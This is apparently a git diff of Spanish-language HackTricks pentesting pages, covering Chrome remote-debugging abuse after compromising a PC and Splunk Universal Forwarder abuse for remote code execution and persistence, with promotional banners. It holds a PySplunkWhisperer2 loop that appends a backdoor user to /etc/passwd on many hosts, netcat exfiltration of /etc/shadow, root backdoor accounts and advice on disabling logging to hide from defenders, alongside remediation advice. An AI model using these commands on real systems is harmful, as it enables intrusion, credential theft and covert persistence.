En un entorno real y **después de comprometer** un PC de usuario que utiliza un navegador basado en Chrome/Chromium, podrías lanzar un proceso de Chrome con **la depuración activada y reenviar el puerto de depuración** para poder acceder a él. De esta manera, podrás **inspeccionar todo lo que la víctima hace con Chrome y robar información sensible**.
|
||||
|
||||
La forma sigilosa es **finalizar todos los procesos de Chrome** y luego llamar a algo como
|
||||
La manera sigilosa es **terminar todos los procesos de Chrome** y luego llamar algo como
|
||||
```bash
|
||||
Start-Process "Chrome" "--remote-debugging-port=9222 --restore-last-session"
|
||||
```
|
||||
|
@ -160,12 +162,14 @@ Start-Process "Chrome" "--remote-debugging-port=9222 --restore-last-session"
|
|||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
<summary><strong>Aprende hacking en AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Obtén el [**swag oficial de PEASS y HackTricks**](https://peass.creator-spring.com)
|
||||
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Comparte tus trucos de hacking enviando PRs al** [**repositorio de hacktricks**](https://github.com/carlospolop/hacktricks) **y al** [**repositorio de hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
Otras formas de apoyar a HackTricks:
|
||||
|
||||
* Si quieres ver a tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** revisa los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Consigue el [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
|
||||
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de Telegram**](https://t.me/peass) o **sígueme** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Comparte tus trucos de hacking enviando PRs a los repositorios de GitHub de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
|
|
File diff suppressed because it is too large
Load diff
|
@ -1,80 +1,149 @@
|
|||
Si al **enumerar** una máquina **internamente** o **externamente** encuentras que se está ejecutando Splunk (puerto 8090), si tienes **credenciales válidas**, puedes **abusar del servicio de Splunk** para **ejecutar una shell** como el usuario que ejecuta Splunk. Si se está ejecutando como root, puedes escalar privilegios a root.
|
||||
# Splunk LPE y Persistencia
|
||||
|
||||
Además, si ya eres root y el servicio de Splunk no está escuchando solo en localhost, puedes **robar** el archivo de **contraseñas** del servicio de Splunk y **descifrar** las contraseñas, o **agregar nuevas** credenciales. Y mantener la persistencia en el host.
|
||||
<details>
|
||||
|
||||
En la primera imagen a continuación, puedes ver cómo se ve una página web de Splunkd.
|
||||
<summary><strong>Aprende hacking en AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Otras formas de apoyar a HackTricks:
|
||||
|
||||
* Si quieres ver a tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF**, consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Consigue el [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
|
||||
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de Telegram**](https://t.me/peass) o **sígueme** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Comparte tus trucos de hacking enviando PRs a los repositorios de GitHub de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
|
||||
Si al **enumerar** una máquina **internamente** o **externamente** encuentras **Splunk en ejecución** (puerto 8090), y conoces alguna **credencial válida**, puedes **abusar del servicio Splunk** para **ejecutar una shell** como el usuario que ejecuta Splunk. Si lo ejecuta root, puedes escalar privilegios a root.
|
||||
|
||||
Además, si ya eres **root y el servicio Splunk no está escuchando solo en localhost**, puedes **robar** el archivo de **contraseñas** del servicio Splunk y **descifrar** las contraseñas o **agregar nuevas** credenciales. Y mantener persistencia en el host.
|
||||
|
||||
En la primera imagen a continuación puedes ver cómo luce una página web de Splunkd.
|
||||
|
||||
**La siguiente información fue copiada de** [**https://eapolsniper.github.io/2020/08/14/Abusing-Splunk-Forwarders-For-RCE-And-Persistence/**](https://eapolsniper.github.io/2020/08/14/Abusing-Splunk-Forwarders-For-RCE-And-Persistence/)
|
||||
|
||||
# Abusando de Splunk Forwarders para obtener shells y persistencia
|
||||
## Abusando de los Forwarders de Splunk para Shells y Persistencia
|
||||
|
||||
14 de agosto de 2020
|
||||
14 Ago 2020
|
||||
|
||||
## Descripción: <a href="#description" id="description"></a>
|
||||
### Descripción: <a href="#description" id="description"></a>
|
||||
|
||||
El agente Splunk Universal Forwarder (UF) permite a los usuarios remotos autenticados enviar comandos o scripts únicos a los agentes a través de la API de Splunk. El agente UF no valida las conexiones que provienen de un servidor Splunk Enterprise válido, ni valida que el código esté firmado o que provenga del servidor Splunk Enterprise. Esto permite a un atacante que obtiene acceso a la contraseña del agente UF ejecutar código arbitrario en el servidor como SYSTEM o root, dependiendo del sistema operativo.
|
||||
El Agente Universal Forwarder de Splunk (UF) permite a usuarios remotos autenticados enviar comandos individuales o scripts a los agentes a través de la API de Splunk. El agente UF no valida que las conexiones provengan de un servidor válido de Splunk Enterprise, ni valida que el código esté firmado o de alguna manera probado como proveniente del servidor Splunk Enterprise. Esto permite a un atacante que obtiene acceso a la contraseña del agente UF ejecutar código arbitrario en el servidor como SYSTEM o root, dependiendo del sistema operativo.
|
||||
|
||||
Este ataque está siendo utilizado por los Penetration Testers y es probable que los atacantes malintencionados lo estén explotando activamente. Obtener la contraseña podría llevar a la compromiso de cientos de sistemas en un entorno de cliente.
|
||||
Este ataque está siendo utilizado por Pentesters y es probable que esté siendo explotado activamente en el mundo real por atacantes maliciosos. Obtener la contraseña podría llevar al compromiso de cientos de sistemas en un entorno de cliente.
|
||||
|
||||
Las contraseñas de Splunk UF son relativamente fáciles de adquirir, consulte la sección Lugares comunes de contraseñas para obtener detalles.
|
||||
Las contraseñas de Splunk UF son relativamente fáciles de adquirir, ver la sección Ubicaciones Comunes de Contraseñas para detalles.
|
||||
|
||||
## Contexto: <a href="#context" id="context"></a>
|
||||
### Contexto: <a href="#context" id="context"></a>
|
||||
|
||||
Splunk es una herramienta de agregación y búsqueda de datos que a menudo se utiliza como sistema de monitoreo de información y eventos de seguridad (SIEM). Splunk Enterprise Server es una aplicación web que se ejecuta en un servidor, con agentes, llamados Universal Forwarders, que se instalan en cada sistema de la red. Splunk proporciona binarios de agente para Windows, Linux, Mac y Unix. Muchas organizaciones usan Syslog para enviar datos a Splunk en lugar de instalar un agente en hosts Linux/Unix, pero la instalación de agentes se está volviendo cada vez más popular.
|
||||
Splunk es una herramienta de agregación y búsqueda de datos a menudo utilizada como un sistema de Monitoreo de Información y Eventos de Seguridad (SIEM). Splunk Enterprise Server es una aplicación web que se ejecuta en un servidor, con agentes, llamados Universal Forwarders, que están instalados en cada sistema de la red. Splunk proporciona binarios de agente para Windows, Linux, Mac y Unix. Muchas organizaciones utilizan Syslog para enviar datos a Splunk en lugar de instalar un agente en hosts Linux/Unix, pero la instalación de agentes se está volviendo cada vez más popular.
|
||||
|
||||
Universal Forwarder es accesible en cada host en https://host:8089. Acceder a cualquiera de las llamadas de API protegidas, como /service/ muestra una ventana de autenticación básica. El nombre de usuario siempre es admin, y la contraseña predeterminada solía ser changeme hasta 2016, cuando Splunk requirió que todas las nuevas instalaciones establecieran una contraseña de 8 caracteres o más. Como se puede ver en mi demostración, la complejidad no es un requisito ya que mi contraseña de agente es 12345678. Un atacante remoto puede realizar un ataque de fuerza bruta a la contraseña sin bloqueo, lo cual es una necesidad de un host de registro, ya que si la cuenta se bloquea, los registros ya no se enviarían al servidor Splunk y un atacante podría usar esto para ocultar sus ataques. La siguiente captura de pantalla muestra el agente Universal Forwarder, esta página inicial es accesible sin autenticación y se puede utilizar para enumerar hosts que ejecutan Splunk Universal Forwarder.
|
||||
El Universal Forwarder es accesible en cada host en https://host:8089. Acceder a cualquiera de las llamadas API protegidas, como /service/, muestra una caja de autenticación Básica. El nombre de usuario siempre es admin, y la contraseña por defecto solía ser changeme hasta 2016 cuando Splunk requirió que todas las nuevas instalaciones establecieran una contraseña de 8 caracteres o más. Como notarás en mi demostración, la complejidad no es un requisito ya que mi contraseña de agente es 12345678. Un atacante remoto puede forzar bruscamente la contraseña sin bloqueo, lo cual es una necesidad de un host de registro, ya que si la cuenta se bloqueara, entonces los registros ya no se enviarían al servidor Splunk y un atacante podría usar esto para ocultar sus ataques. La siguiente captura de pantalla muestra el agente Universal Forwarder, esta página inicial es accesible sin autenticación y se puede utilizar para enumerar hosts que ejecutan Splunk Universal Forwarder.
|
||||
|
||||
![0](https://eapolsniper.github.io/assets/2020AUG14/11\_SplunkAgent.png)
|
||||
|
||||
La documentación de Splunk muestra el uso de la misma contraseña de reenvío universal para todos los agentes, no recuerdo con certeza si esto es un requisito o si se pueden establecer contraseñas individuales para cada agente, pero según la documentación y la memoria de cuando era un administrador de Splunk, creo que todos los agentes deben usar la misma contraseña. Esto significa que si se encuentra o se descifra la contraseña en un sistema, es probable que funcione en todos los hosts de Splunk UF. Esta ha sido mi experiencia personal, lo que permite la compromiso de cientos de hosts rápidamente.
|
||||
La documentación de Splunk muestra el uso de la misma contraseña de Universal Forwarding para todos los agentes, no recuerdo con seguridad si esto es un requisito o si se pueden establecer contraseñas individuales para cada agente, pero basado en la documentación y la memoria de cuando yo era administrador de Splunk, creo que todos los agentes deben usar la misma contraseña. Esto significa que si la contraseña se encuentra o se descifra en un sistema, es probable que funcione en todos los hosts de Splunk UF. Esta ha sido mi experiencia personal, permitiendo el compromiso rápido de cientos de hosts.
|
||||
|
||||
## Lugares comunes de contraseñas <a href="#common-password-locations" id="common-password-locations"></a>
|
||||
### Ubicaciones Comunes de Contraseñas <a href="#common-password-locations" id="common-password-locations"></a>
|
||||
|
||||
A menudo encuentro la contraseña de texto sin formato del agente de reenvío universal de Splunk en las siguientes ubicaciones en las redes:
|
||||
A menudo encuentro la contraseña en texto plano del agente Universal Forwarding de Splunk en las siguientes ubicaciones en redes:
|
||||
|
||||
1. Directorio Sysvol/domain.com/Scripts de Active Directory. Los administradores almacenan el ejecutable y la contraseña juntos para una instalación eficiente del agente.
|
||||
1. Directorio Active Directory Sysvol/domain.com/Scripts. Los administradores almacenan el ejecutable y la contraseña juntos para una instalación eficiente del agente.
|
||||
2. Comparticiones de archivos de red que alojan archivos de instalación de TI
|
||||
3. Wiki u otros repositorios de notas de compilación en la red interna
|
||||
3. Wikis u otros repositorios de notas de construcción en la red interna
|
||||
|
||||
La contraseña también se puede acceder en forma de hash en Program Files\Splunk\etc\passwd en hosts de Windows, y en /opt/Splunk/etc/passwd en hosts de Linux y Unix. Un atacante puede intentar descifrar la contraseña usando Hashcat, o alquilar un entorno de descifrado en la nube para aumentar la probabilidad de descifrar el hash. La contraseña es un hash SHA-256 fuerte y, como tal, es poco probable que se descifre una contraseña fuerte y aleatoria.
|
||||
La contraseña también se puede acceder en forma de hash en Program Files\Splunk\etc\passwd en hosts Windows, y en /opt/Splunk/etc/passwd en hosts Linux y Unix. Un atacante puede intentar descifrar la contraseña usando Hashcat, o alquilar un entorno de cracking en la nube para aumentar la probabilidad de descifrar el hash. La contraseña es un hash SHA-256 fuerte y, como tal, es poco probable que se descifre una contraseña fuerte y aleatoria.
|
||||
|
||||
## Impacto: <a href="#impact" id="impact"></a>
|
||||
### Impacto: <a href="#impact" id="impact"></a>
|
||||
|
||||
Un atacante con una contraseña de agente de reenvío universal de Splunk puede comprometer completamente todos los hosts de Splunk en la red y obtener permisos de nivel SYSTEM o root en cada host. He utilizado con éxito el agente Splunk en hosts de Windows, Linux y Solaris Unix. Esta vulnerabilidad podría permitir la extracción de credenciales del sistema, la exfiltración de datos sensibles o la instalación de ransomware. Esta vulnerabilidad es rápida, fácil de usar y confiable.
|
||||
Un atacante con una contraseña de Splunk Universal Forward Agent puede comprometer completamente todos los hosts de Splunk en la red y obtener permisos de nivel SYSTEM o root en cada host. He utilizado con éxito el agente de Splunk en hosts Windows, Linux y Solaris Unix. Esta vulnerabilidad podría permitir que se volcaran credenciales del sistema, se exfiltraran datos sensibles o se instalara ransomware. Esta vulnerabilidad es rápida, fácil de usar y confiable.
|
||||
|
||||
Dado que Splunk maneja registros, un atacante podría reconfigurar el reenvío universal en el primer comando ejecutado para cambiar la ubicación del reenvío, deshabilitando el registro en el SIEM de Splunk. Esto reduciría drásticamente las posibilidades de ser detectado por el equipo Blue del cliente.
|
||||
Dado que Splunk maneja registros, un atacante podría reconfigurar el Universal Forwarder en el primer comando ejecutado para cambiar la ubicación del Forwarder, desactivando el registro en el SIEM de Splunk. Esto reduciría drásticamente las posibilidades de ser detectado por el equipo Blue del cliente.
|
||||
|
||||
Splunk Universal Forwarder
|
||||
El Universal Forwarder de Splunk a menudo se instala en Controladores de Dominio para la recolección de registros, lo que podría permitir fácilmente a un atacante extraer el archivo NTDS, desactivar el antivirus para una mayor explotación y/o modificar el dominio.
|
||||
|
||||
Finalmente, el Agente Universal Forwarding no requiere una licencia y se puede configurar con una contraseña de forma independiente. Como tal, un atacante puede instalar Universal Forwarder como un mecanismo de persistencia de puerta trasera en hosts, ya que es una aplicación legítima que los clientes, incluso aquellos que no usan Splunk, no es probable que eliminen.
|
||||
|
||||
### Evidencia: <a href="#evidence" id="evidence"></a>
|
||||
|
||||
Para mostrar un ejemplo de explotación, configuré un entorno de prueba utilizando la última versión de Splunk tanto para el Servidor Empresarial como para el agente Universal Forwarding. Se han adjuntado un total de 10 imágenes a este informe, mostrando lo siguiente:
|
||||
|
||||
1- Solicitando el archivo /etc/passwd a través de PySplunkWhisper2
|
||||
|
||||
![1](https://eapolsniper.github.io/assets/2020AUG14/1\_RequestingPasswd.png)
|
||||
|
||||
2- Recibiendo el archivo /etc/passwd en el sistema del atacante a través de Netcat
|
||||
|
||||
![2](https://eapolsniper.github.io/assets/2020AUG14/2\_ReceivingPasswd.png)
|
||||
|
||||
3- Solicitando el archivo /etc/shadow a través de PySplunkWhisper2
|
||||
|
||||
![3](https://eapolsniper.github.io/assets/2020AUG14/3\_RequestingShadow.png)
|
||||
|
||||
4- Recibiendo el archivo /etc/shadow en el sistema del atacante a través de Netcat
|
||||
|
||||
![4](https://eapolsniper.github.io/assets/2020AUG14/4\_ReceivingShadow.png)
|
||||
|
||||
5- Agregando el usuario attacker007 al archivo /etc/passwd
|
||||
|
||||
![5](https://eapolsniper.github.io/assets/2020AUG14/5\_AddingUserToPasswd.png)
|
||||
|
||||
6- Agregando el usuario attacker007 al archivo /etc/shadow
|
||||
|
||||
![6](https://eapolsniper.github.io/assets/2020AUG14/6\_AddingUserToShadow.png)
|
||||
|
||||
7- Recibiendo el nuevo archivo /etc/shadow mostrando que attacker007 se agregó con éxito
|
||||
|
||||
![7](https://eapolsniper.github.io/assets/2020AUG14/7\_ReceivingShadowFileAfterAdd.png)
|
||||
|
||||
8- Confirmando el acceso SSH a la víctima usando la cuenta de attacker007
|
||||
|
||||
![8](https://eapolsniper.github.io/assets/2020AUG14/8\_SSHAccessUsingAttacker007.png)
|
||||
|
||||
9- Agregando una cuenta root de puerta trasera con el nombre de usuario root007, con el uid/gid establecido en 0
|
||||
|
||||
![9](https://eapolsniper.github.io/assets/2020AUG14/9\_AddingBackdoorRootAccount.png)
|
||||
|
||||
10- Confirmando el acceso SSH usando attacker007, y luego escalando a root usando root007
|
||||
|
||||
![10](https://eapolsniper.github.io/assets/2020AUG14/10\_EscalatingToRoot.png)
|
||||
|
||||
En este punto tengo acceso persistente al host tanto a través de Splunk como a través de las dos cuentas de usuario creadas, una de las cuales proporciona root. Puedo desactivar el registro remoto para cubrir mis rastros y continuar atacando el sistema y la red utilizando este host.
|
||||
|
||||
Scripting PySplunkWhisperer2 es muy fácil y efectivo.
|
||||
|
||||
1. Crea un archivo con las IP de los hosts que quieres explotar, ejemplo de nombre ip.txt
|
||||
2. Ejecuta lo siguiente:
|
||||
```bash
|
||||
for i in `cat ip.txt`; do python PySplunkWhisperer2_remote.py --host $i --port 8089 --username admin --password "12345678" --payload "echo 'attacker007:x:1003:1003::/home/:/bin/bash' >> /etc/passwd" --lhost 192.168.42.51;done
|
||||
```
|
||||
Información del host:
|
||||
|
||||
Servidor Splunk Enterprise: 192.168.42.114\
|
||||
Agente de reenvío de Splunk víctima: 192.168.42.98\
|
||||
Agente Víctima del Splunk Forwarder: 192.168.42.98\
|
||||
Atacante: 192.168.42.51
|
||||
|
||||
Versión de Splunk Enterprise: 8.0.5 (la última hasta el 12 de agosto de 2020, día de la configuración del laboratorio)\
|
||||
Versión de Universal Forwarder: 8.0.5 (la última hasta el 12 de agosto de 2020, día de la configuración del laboratorio)
|
||||
Versión de Splunk Enterprise: 8.0.5 (última a fecha de 12 de agosto de 2020 – día de configuración del laboratorio)\
|
||||
Versión del Universal Forwarder: 8.0.5 (última a fecha de 12 de agosto de 2020 – día de configuración del laboratorio)
|
||||
|
||||
### Recomendaciones de solución para Splunk, Inc: <a href="#remediation-recommendations-for-splunk-inc" id="remediation-recommendations-for-splunk-inc"></a>
|
||||
#### Recomendaciones de Remediación para Splunk, Inc: <a href="#remediation-recommendations-for-splunk-inc" id="remediation-recommendations-for-splunk-inc"></a>
|
||||
|
||||
Recomiendo implementar todas las siguientes soluciones para proporcionar una defensa en profundidad:
|
||||
Recomiendo implementar todas las siguientes soluciones para proporcionar defensa en profundidad:
|
||||
|
||||
1. Idealmente, el agente Universal Forwarder no tendría ningún puerto abierto, sino que consultaría al servidor Splunk a intervalos regulares para recibir instrucciones.
|
||||
2. Habilitar la autenticación mutua TLS entre los clientes y el servidor, utilizando claves individuales para cada cliente. Esto proporcionaría una seguridad bidireccional muy alta entre todos los servicios de Splunk. La autenticación mutua TLS se está implementando ampliamente en agentes y dispositivos IoT, este es el futuro de la comunicación de cliente de dispositivo confiable con el servidor.
|
||||
3. Enviar todo el código, archivos de una sola línea o de script, en un archivo comprimido que esté cifrado y firmado por el servidor Splunk. Esto no protege los datos del agente enviados a través de la API, pero protege contra la ejecución remota de código malicioso de un tercero.
|
||||
1. Idealmente, el agente Universal Forwarder no tendría ningún puerto abierto, sino que sondearía al servidor Splunk a intervalos regulares para recibir instrucciones.
|
||||
2. Habilitar la autenticación mutua TLS entre los clientes y el servidor, utilizando claves individuales para cada cliente. Esto proporcionaría una seguridad bidireccional muy alta entre todos los servicios de Splunk. La autenticación mutua TLS se está implementando ampliamente en agentes y dispositivos IoT, este es el futuro de la comunicación de cliente a servidor de dispositivos de confianza.
|
||||
3. Enviar todo el código, archivos de una sola línea o scripts, en un archivo comprimido que esté cifrado y firmado por el servidor Splunk. Esto no protege los datos del agente enviados a través de la API, pero protege contra la Ejecución de Código Remoto maliciosa por parte de un tercero.
|
||||
|
||||
### Recomendaciones de solución para los clientes de Splunk: <a href="#remediation-recommendations-for-splunk-customers" id="remediation-recommendations-for-splunk-customers"></a>
|
||||
#### Recomendaciones de Remediación para clientes de Splunk: <a href="#remediation-recommendations-for-splunk-customers" id="remediation-recommendations-for-splunk-customers"></a>
|
||||
|
||||
1. Asegurarse de que se establezca una contraseña muy fuerte para los agentes de Splunk. Recomiendo al menos una contraseña aleatoria de 15 caracteres, pero como estas contraseñas nunca se escriben, esto podría establecerse como una contraseña muy grande, como 50 caracteres.
|
||||
2. Configurar firewalls basados en host para permitir solo conexiones al puerto 8089/TCP (puerto del agente Universal Forwarder) desde el servidor Splunk.
|
||||
1. Asegurar que se establezca una contraseña muy fuerte para los agentes de Splunk. Recomiendo al menos una contraseña aleatoria de 15 caracteres, pero dado que estas contraseñas nunca se escriben, se podría establecer una contraseña muy larga, como de 50 caracteres.
|
||||
2. Configurar firewalls basados en el host para permitir conexiones al puerto 8089/TCP (puerto del Agente Universal Forwarder) solo desde el servidor Splunk.
|
||||
|
||||
## Recomendaciones para el equipo Red: <a href="#recommendations-for-red-team" id="recommendations-for-red-team"></a>
|
||||
### Recomendaciones para el Equipo Rojo: <a href="#recommendations-for-red-team" id="recommendations-for-red-team"></a>
|
||||
|
||||
1. Descargar una copia de Splunk Universal Forwarder para cada sistema operativo, ya que es un implante ligero y firmado. Es bueno tener una copia en caso de que Splunk realmente solucione esto.
|
||||
1. Descargar una copia de Splunk Universal Forwarder para cada sistema operativo, ya que es un implante firmado y ligero excelente. Bueno tener una copia en caso de que Splunk realmente solucione esto.
|
||||
|
||||
## Exploits/Blogs de otros investigadores <a href="#exploitsblogs-from-other-researchers" id="exploitsblogs-from-other-researchers"></a>
|
||||
### Exploits/Blogs de otros investigadores <a href="#exploitsblogs-from-other-researchers" id="exploitsblogs-from-other-researchers"></a>
|
||||
|
||||
Exploits públicos utilizables:
|
||||
|
||||
|
@ -82,10 +151,32 @@ Exploits públicos utilizables:
|
|||
* https://www.exploit-db.com/exploits/46238
|
||||
* https://www.exploit-db.com/exploits/46487
|
||||
|
||||
Publicaciones de blog relacionadas:
|
||||
Publicaciones de blogs relacionadas:
|
||||
|
||||
* https://clement.notin.org/blog/2019/02/25/Splunk-Universal-Forwarder-Hijacking-2-SplunkWhisperer2/
|
||||
* https://medium.com/@airman604/splunk-universal-forwarder-hijacking-5899c3e0e6b2
|
||||
* https://www.hurricanelabs.com/splunk-tutorials/using-splunk-as-an-offensive-security-tool
|
||||
|
||||
_**Nota:**_ Este problema es un problema grave con los sistemas de Splunk y ha sido explotado por otros probadores durante años. Si bien la ejecución remota de código es una característica prevista del agente Universal Forwarder de Splunk, la implementación de esto es peligrosa. Intenté enviar este error a través del programa de recompensa por errores de Splunk en la muy improbable posibilidad de que no estén al tanto de las implicaciones de diseño, pero se me notificó que cualquier envío de errores implementa la política de divulgación de Bug Crowd/Splunk que establece que no se pueden discutir públicamente detalles de la vulnerabilidad _nunca_ sin el permiso de Splunk. Solicité un plazo de divulgación de 90 días y me fue negado. Como tal, no divulgué esto de manera responsable ya que estoy razonablemente seguro de que Splunk es consciente del problema y ha optado por ignorarlo, siento que esto podría afectar gravemente a las empresas y es responsabilidad de la comunidad de la seguridad de la información educar a las empresas.
|
||||
_\*\* Nota: \*\*_ Este problema es un asunto serio con los sistemas de Splunk y ha sido explotado por otros probadores durante años. Aunque la Ejecución de Código Remoto es una característica intencionada de Splunk Universal Forwarder, la implementación de esto es peligrosa. Intenté enviar este bug a través del programa de recompensas por errores de Splunk con la muy improbable posibilidad de que no estuvieran al tanto de las implicaciones del diseño, pero me notificaron que cualquier envío de errores implementa la política de divulgación de Bug Crowd/Splunk que establece que no se pueden discutir detalles de la vulnerabilidad públicamente _nunca_ sin el permiso de Splunk. Solicité un plazo de divulgación de 90 días y fue denegado. Como tal, no divulgué esto de manera responsable ya que estoy razonablemente seguro de que Splunk está al tanto del problema y ha elegido ignorarlo, creo que esto podría afectar gravemente a las empresas, y es responsabilidad de la comunidad de infosec educar a las empresas.
|
||||
|
||||
## Abusando de Consultas Splunk
|
||||
|
||||
Información de [https://blog.hrncirik.net/cve-2023-46214-analysis](https://blog.hrncirik.net/cve-2023-46214-analysis)
|
||||
|
||||
El **CVE-2023-46214** permitía subir un script arbitrario a **`$SPLUNK_HOME/bin/scripts`** y luego explicaba que usando la consulta de búsqueda **`|runshellscript script_name.sh`** era posible **ejecutar** el **script** almacenado allí:
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (721).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Aprende hacking en AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Otras formas de apoyar a HackTricks:
|
||||
|
||||
* Si quieres ver a tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Consigue el [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
|
||||
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sigue** a **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Comparte tus trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) en github.
|
||||
|
||||
</details>
|
||||
|
|
|
@ -1,26 +1,28 @@
|
|||
# Comandos útiles de Linux
|
||||
# Comandos Útiles de Linux
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (3) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
Utiliza [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) para construir y **automatizar flujos de trabajo** con las herramientas comunitarias más avanzadas del mundo.\
|
||||
Obtén acceso hoy mismo:
|
||||
Utiliza [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) para construir y **automatizar flujos de trabajo** fácilmente, potenciados por las herramientas comunitarias **más avanzadas** del mundo.\
|
||||
Obtén Acceso Hoy:
|
||||
|
||||
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
<summary><strong>Aprende hacking en AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres que tu **empresa sea anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Obtén el [**merchandising oficial de PEASS y HackTricks**](https://peass.creator-spring.com)
|
||||
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de Telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Comparte tus trucos de hacking enviando PRs al** [**repositorio de hacktricks**](https://github.com/carlospolop/hacktricks) **y al** [**repositorio de hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
Otras formas de apoyar a HackTricks:
|
||||
|
||||
* Si quieres ver a tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF**, consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Consigue el [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
